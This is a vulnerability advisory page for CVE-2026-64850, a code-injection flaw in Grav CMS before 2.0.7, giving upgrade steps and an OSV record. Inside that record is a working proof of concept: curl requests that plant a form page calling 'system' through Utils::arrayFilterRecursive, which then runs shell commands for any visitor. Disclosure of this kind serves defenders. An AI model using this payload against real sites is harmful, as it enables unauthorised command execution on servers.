CVE-2026-64850: Grav Remote Code Execution Vulnerability
HIGHCVE-2026-64850 is a HIGH remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Grav libraries in the Packagist ecosystem. The issue involves remote code execution via unrestricted callable in blueprint::dynamicdata(). Remediation is available by upgrading affected packages to version 2.0.7.
CVE-2026-64850 at a Glance
How to Fix CVE-2026-64850
To remediate this vulnerability, upgrade all affected Grav dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade getgrav/grav to 2.0.7
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for getgrav/grav
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-64850, inspect your project dependencies for Grav:
inspect dependencies for getgrav/grav
Analyze the terminal output to locate any version of Grav in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.7), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Grav, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-64850 Affected Grav Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
getgrav/grav
|
Packagist |
< 2.0.7
|
2.0.7
|
References
Frequently Asked Questions
What is CVE-2026-64850?
Which Grav versions are affected?
What version fixes CVE-2026-64850?
Is getgrav/grav affected?
What CWE is associated with CVE-2026-64850?
How can I check Packagist dependencies for CVE-2026-64850?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fj2p-qj2f-74v5",
"modified" : "2026-09-02T14:51:18Z",
"published" : "2026-09-02T14:51:18Z",
"aliases" : [ "CVE-2026-64850" ],
"summary" : "Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()",
"details" : "### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `<BASE_URL>` the site; `<SESSION_COOKIE>` an admin session cookie\nfor an account with `admin.pages`; `<ADMIN_NONCE>` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n curl '<BASE_URL>/admin/pages/rcepoc' \\\n -H 'Cookie: <SESSION_COOKIE>' \\\n --data-urlencode 'task=save' \\\n --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \\\n --data-urlencode 'data[folder]=rcepoc' \\\n --data-urlencode 'data[name]=form' \\\n --data-urlencode 'data[title]=x' \\\n --data-urlencode 'data[content]=hi' \\\n --data-urlencode \"data[frontmatter]=forms:\n x:\n fields:\n y:\n type: text\n data-opts@:\n - 'Grav\\Common\\Utils::arrayFilterRecursive'\n - { 'echo GRAV-RCE-OK; id': 'x' }\n - system\"\n\nTrigger it as an unauthenticated visitor:\n\n curl '<BASE_URL>/rcepoc'\n\nSuccess check: the GET response body begins with `GRAV-RCE-OK` followed by the\nweb-server user's `id` output (a line starting `uid=...`) — the command ran\nduring the unauthenticated request and its output is reflected in the response.\n\n\n### Impact\nShell command execution as the web-server user, triggered by any visit to the\npage, plantable by any holder of `admin.pages` or `api.pages.write`.\n\nTrust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page\nediting, not code execution; the holder plants the payload and the code runs at\nrequest time on any later view of the page.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "getgrav/grav"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.0.7"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-64850"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/getgrav/grav"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/releases/tag/2.0.7"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-02T14:51:18Z",
"nvd_published_at" : "2026-08-19T16:18:39Z"
}
}